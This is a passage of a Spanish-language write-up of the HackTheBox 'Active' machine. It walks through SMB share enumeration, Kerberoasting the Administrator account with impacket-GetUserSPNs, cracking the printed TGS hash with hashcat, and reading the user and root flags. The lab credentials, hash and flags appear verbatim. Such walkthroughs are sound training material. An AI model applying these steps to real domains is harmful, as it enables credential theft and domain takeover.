IPC\$	NO ACCESS	Remote IPC
NETLOGON	READ ONLY	Logon server share
Replication	READ ONLY	
SYSVOL	READ ONLY	Logon server share
Users	READ ONLY	

Las credenciales de SVC_TGS permiten acceso de solo lectura a los shares NETLOGON, Replication, SYSVOL y Users. Esto es consistente con el hecho de que SVC_TGS es un usuario de servicio con permisos limitados, pero aún así puede ser útil para la enumeración y la recopilación de información adicional sobre el dominio.

Accedemos con smbclient al recurso //10.129.22.210/Users.

```
> smbclient //10.129.22.210/Users -U active.htb\SVC_TGS%GPPstillStandingStrong2k18
Try "help" to get a list of possible commands.
smb: \> id
id: command not found
smb: \> get user.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \user.txt
smb: \> ls
.
```

..	DR	0	Sat Jul 21 16:39:20 2018
Administrator	D	0	Mon Jul 16 12:14:21 2018
All Users	DHSrn	0	Tue Jul 14 07:06:44 2009
Default	DHR	0	Tue Jul 14 08:38:21 2009
Default User	DHSrn	0	Tue Jul 14 07:06:44 2009
desktop.ini	AHS	174	Tue Jul 14 06:57:55 2009
Public	DR	0	Tue Jul 14 06:57:55 2009
SVC_TGS	D	0	Sat Jul 21 17:16:32 2018

5217023 blocks of size 4096. 279186 blocks available

```
smb: \>
```

El share Users contiene directorios para cada usuario del dominio, incluyendo el de SVC_TGS. Entramos en el directorio de SVC_TGS para ver si hay algo útil.

```
smb: \> cd SVC_TGS
smb: \SVC_TGS\> ls
```

.	D	0	Sat Jul 21 17:16:32 2018
..	D	0	Sat Jul 21 17:16:32 2018
Contacts	D	0	Sat Jul 21 17:14:11 2018
Desktop	D	0	Sat Jul 21 17:14:42 2018
Downloads	D	0	Sat Jul 21 17:14:23 2018
Favorites	D	0	Sat Jul 21 17:14:44 2018
Links	D	0	Sat Jul 21 17:14:57 2018
My Documents	D	0	Sat Jul 21 17:15:03 2018

My Music	D	0	Sat Jul 21 17:15:32 2018
My Pictures	D	0	Sat Jul 21 17:15:43 2018
My Videos	D	0	Sat Jul 21 17:15:53 2018
Saved Games	D	0	Sat Jul 21 17:16:12 2018
Searches	D	0	Sat Jul 21 17:16:24 2018

5217023 blocks of size 4096. 279186 blocks available

El directorio de SVC_TGS no contiene archivos, pero la estructura es típica de un perfil de usuario en Windows. Esto sugiere que SVC_TGS es un usuario activo en el dominio, vamos a explorar que se ve en cada uno de los shares a los que tenemos acceso con estas credenciales para ver si hay algo útil. Y en el directorio Desktop nos encontramos con el archivo user.txt, que es el primer objetivo de la máquina. Procedemos a descargarlo y a leer su contenido.

```
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)
smb: \SVC_TGS\Desktop\> !cat user.txt
bed05b723496f102483aaf7bebac6238
```

Ya tenemos la primera flag, vamos a por la escalada de privilegios.

Vamos a por Kerberos, que es el servicio más típico para la escalada en entornos AD después de obtener credenciales. Vamos a probar a solicitar un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS. Utilizaremos impacket-GetUserSPNs que es una herramienta de la suite impacket diseñada para solicitar tickets TGS y extraer hashes de contraseñas y que Parrot tiene instalada por defecto.

Primero una enumeración de SPNs para ver si hay algún servicio con SPN registrado que podamos atacar.

```
> impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210
Impacket v0.11.0 - Copyright 2023 Fortra
```

ServicePrincipalName	Name	MemberOf	Delegation
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40.351723 2026-04-17 16:47:38.977345

El servicio CIFS tiene un SPN registrado, lo que significa que podemos solicitar un ticket TGS para ese servicio utilizando las credenciales de SVC_TGS. Esto es una oportunidad clara para intentar una escalada de privilegios utilizando el ataque conocido como Kerberoasting, que consiste en solicitar un ticket TGS para un servicio con SPN registrado y luego intentar crackear el hash de la contraseña del servicio para obtener acceso a la cuenta que lo registra, en este caso la cuenta de Administrator.

Vamos a pedir un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS.

```
> impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 -request-user Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
```

ServicePrincipalName	Name	MemberOf	Delegation
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40.351723 2026-04-17 16:47:38.977345

```
[ - ] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$56c4797c69114602333186514438a827$5c293143e5d
8f359be3fbb3158e99e22bec097487ed91af621c2ad5e9c8b3865bd83f847dd51bafbc22a95209ca89a725ab60006ee21eacc8af3e83
f9371acc0d92deb780b3785704398444348bd0fa1292f9e5df91ae515c9cd05fc5c41a92ee23b8f35c6d76289351d15b4b434620a189
c24256b39e64bf6868322b8b64ee11426c4f9bf0efdbda44e367e0849b0f2ca63b40475c17641dd65560846bf50441ae9baf4bd9d714
f33c7d0c7d117a9cd1f113d25edbdb51ab0132ff216a37e79c7e2cbad7cb7e52cc7c273ddbea56be76e6b73c1982e094294d728dbe1f
25307d7b42329f5be1782c61c06cc5a2bbaa884718b3551226187df00a155d7ff6955bee0de187b6c5030eae0b00ba520bda647a56d7
fe36d4011e0d9109cb148ed7bb1d2e94618d4a31b1f79a28217c41d48a1a9330f934755ade655877818bd888256a3199606aa6573f95
55320f8e75cb2ed46e5777b2a908f590351975b56558abd434bd77fe2326a6576a81180dc5db8101e1f8251eeec1b1e0aae407e17788
b1edb785de41f89399088394f0a59415fd5c9553ac268f4308ab9fe594bed7182200a7bc43b8342eaa3afb42375cd7a4e5ae655ed5b2
dcfd9f95f3f9959f3fe262c04a8c5c3bd7f91e7ff70bed667c5facb79590648a3d4d2a0c1ca2b434ac71ce6eeee5a8ce0c9fb814a0898
116b77cc3b5221180cfd4fc89f50fb8ab52efef466287f26885fc62cda153a370e31257c500aaa0d17b7f15704dc677bd0733be3a062
4ac27a2e49e002d7ce943f3cc03aa414c291130863b329d562030023f7c2a9ca3146f992c78b13f91022af064048cb916cd128c74d6
10dcf8b67d9d0aa958c1becd746c8301aa8df4bd375ee09c390f7d2dc156b3b907082094266241a9a1d35e9bbf3acc85710700c6ee a0
479f9e21a06cc56ab9e4c2f4fe14dc6fa35c41b5eaa6f4e656c6e88e7eae72a856707458a972ba75bc74db8a6bb696029bd3d31b372d
ffb19324f3b9f89a4f20a1e3101c0979428b2f263fb7ad1755a3ea5e25c5ab39786c615b59941a3df0d8cbe3a3719f13cb80d7503e24
574b90a077008157d90d03975049057d45a80aa3a8967fa841defa001709d0f5213a295cc0910516d6e4711e8543920bbe7e3518a21c
73bdf1dcc04c7a106fb9d7d9e34e4cab07ab36d656f6a2dfda15a0b19a7933cdb1f5757b0436dfe3fc48db3114f165208cfca385a8a0
c045c1294d246bea33ac29f1c4c4a8d556e70f0da
```

El hash obtenido es un hash de contraseña de Kerberos para la cuenta de Administrator. Ahora el siguiente paso sería intentar crackear este hash utilizando una herramienta como Hashcat o John the Ripper para obtener la contraseña en texto claro y así poder acceder a la cuenta de Administrator y escalar privilegios en el dominio. Guardamos el hash en un fichero para facilitar su uso con las herramientas de cracking.

```
> hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/administrator_tgs.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
```

El resultado: Ticketmaster1968

Entramos en la cuenta de Administrator utilizando las credenciales obtenidas.

```
> smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin                DHS          0 Tue Jul 14 04:34:39 2009
Documents and Settings      DHSrn        0 Tue Jul 14 07:06:44 2009
pagefile.sys                AHS 5190320128 Fri Apr 17 16:46:22 2026
PerfLogs                    D           0 Tue Jul 14 05:20:08 2009
Program Files                DR          0 Wed Jan 12 14:11:58 2022
Program Files (x86)          DR          0 Thu Jan 21 17:49:16 2021
ProgramData                  DHn         0 Wed Jan 12 14:09:27 2022
Recovery                     DHSn        0 Mon Jul 16 12:13:22 2018
System Volume Information    DHS         0 Wed Jul 18 20:45:01 2018
Users                        DR          0 Sat Jul 21 16:39:20 2018
Windows                      D           0 Fri Apr 17 17:34:59 2026
```

5217023 blocks of size 4096. 278896 blocks available

Ahora que tenemos acceso a la cuenta de Administrator, podemos explorar el sistema de archivos para encontrar la flag de root. Normalmente, esta flag se encuentra en el escritorio del usuario Administrator, así que vamos a navegar hasta ese directorio.

```
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
.                DR          0 Thu Jan 21 17:49:47 2021
..               DR          0 Thu Jan 21 17:49:47 2021
desktop.ini      AHS         282 Mon Jul 30 15:50:10 2018
root.txt         AR          34 Fri Apr 17 16:47:36 2026
```

5217023 blocks of size 4096. 278896 blocks available

Hemos encontrado el archivo root.txt en el escritorio de Administrator. Procedemos a descargarlo y a leer su contenido.

```
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)
smb: \Users\Administrator\Desktop\> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Hemos obtenido la flag de root, lo que significa que hemos completado con éxito la escalada de privilegios en esta máquina.